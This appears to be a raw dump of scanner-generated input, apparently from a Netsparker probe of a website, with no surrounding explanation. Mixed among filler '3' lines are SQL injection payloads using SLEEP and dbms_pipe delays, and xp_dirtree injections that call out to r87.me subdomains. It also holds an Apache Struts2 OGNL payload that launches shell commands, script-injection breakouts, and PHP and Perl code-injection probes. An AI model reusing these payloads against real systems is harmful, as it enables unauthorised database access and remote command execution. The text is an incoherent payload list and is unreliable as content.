[php]print(int)0xFFF9999-95507;[/php]

3

3

1;exec('xp_dirtree ''\\zt9p3ydc3aiy_i8krjkyc7ryiaak90klm4dkmgal'+'pi0.r87.me'+'\c$\a''')--

3

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ /* 3e4be234-b0e3-4e62-8f03-62d0de610d99 */

3

3

[php]print(int)0xFFF9999-25752;[/php]

-1';exec('xp_dirtree ''\\zt9p3ydc3aegbotw-mbxxhgfknsywrbll5re6dvx'+'sbg.r87.me'+'\c$\a''')--

3

3

3

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* a70a8c06-96b4-4d98-b947-551298c8acd9 */

-1';exec('xp_dirtree ''\\zt9p3ydc3aaepm71knq3m1b52wynk7jocbn6g7bn'+'yyw.r87.me'+'\c$\a''')--

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='51022').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

3

3

3

1) exec('xp_dirtree ''\\zt9p3ydc3acwspdi6mevj8d0aqmpoftl6zfenzlm'+'f-c.r87.me'+'\c$\a''')--

print localtime()*0+0xFFF9999-32807

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 /* 5743c849-4bcd-4d97-8d3a-e01162d6946b */

3

3

3

3

1) exec('xp_dirtree ''\\zt9p3ydc3apnodcdvhq1lrckmab3-rruoejie2ip'+'tge.r87.me'+'\c$\a''')--

n3tsp4rke2

nxtspxrkex

N3TSP4RKE2

3

print localtime()*0+0xFFF9999-12260

3

((select sleep(25)))a-- 1 /* e3cedd45-8f4b-4dfa-b8dc-21684926556a */

3

1')exec('xp_dirtree ''\\zt9p3ydc3a-sdbf37ooygoqpyz0f8kfbqff_26qu'+'0de.r87.me'+'\c$\a''')--

'"--></style></scRipt><scRipt>netsparker(0x09025F)</scRipt>

3

3

eval('print localtime()*0+0xFFF9999-6688')

((select sleep(25)))a-- 1 /* 7f4d5d47-dd38-4c3b-8dae-958e08fc9cb6 */

3

1')exec('xp_dirtree ''\\zt9p3ydc3aagi_h-yhywnzyxduv3nrharztbjb17'+'zpm.r87.me'+'\c$\a''')--

3

3

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x0903AA%29%3C%2FscRipt%3E

3

eval('print localtime()*0+0xFFF9999-86873')

1))exec('xp_dirtree ''\\zt9p3ydc3as87mvsavxydh-nw72uo5ajoeu2xssm'+'pvu.r87.me'+'\c$\a''')--

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) /* 378259ee-1a0d-4dac-9b7f-df23247c997a */